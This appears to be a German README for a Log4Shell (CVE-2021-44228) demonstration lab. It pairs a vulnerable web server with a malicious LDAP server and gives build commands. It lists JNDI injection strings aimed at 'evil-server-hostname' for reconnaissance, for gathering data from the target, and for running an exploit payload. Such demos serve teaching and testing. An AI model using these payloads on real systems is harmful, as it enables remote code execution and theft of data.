
Eine Demo der Log4Shell (CVE-2021-44228) Schwachstelle.
Ein Demo der Log4Shell (CVE-2021-44228)-Schwachstelle.
Der anfällige Webserver und der schädliche LDAP-Server wurden beide mit JDK 1.8.0_181 erstellt und getestet.
goodguys und führe gradlew bootJar aus.java -jar build/libs/goodguys-0.0.1-SNAPSHOT.jarbadguys und führe mvn package aus.java -jar .\target\evil-server.jarHinweis: Der Windows Defender kann
target\classes\Exploit.classleise in Quarantäne verschieben.
Die schädlichen Befehle sind in Exploit.java definiert.
| Eingabe | Bemerkungen |
|---|---|
${jndi:ldap://evil-server-hostname:389/Recon} | Überprüft, ob das Ziel anfällig ist, indem es auf eine Verbindungsanfrage an den LDAP-Server hört. |
${jndi:ldap://evil-server-hostname:389/Recon [log4j Pattern Layout(s)] | Hängt gültige log4j Pattern-Layouts an, um die Daten vom Ziel zu sammeln und im Angreiferterminal anzuzeigen. |
https://securityboulevard.com/2019/01/exploiting-jndi-injections-in-java/
https://logging.apache.org/log4j/1.2/apidocs/org/apache/log4j/PatternLayout.html
https://www.ibm.com/blog/how-to-detect-patch-log4j-vulnerability/
${jndi:ldap://evil-server-hostname:389/Exploit} | Führe die Nutzlast aus. |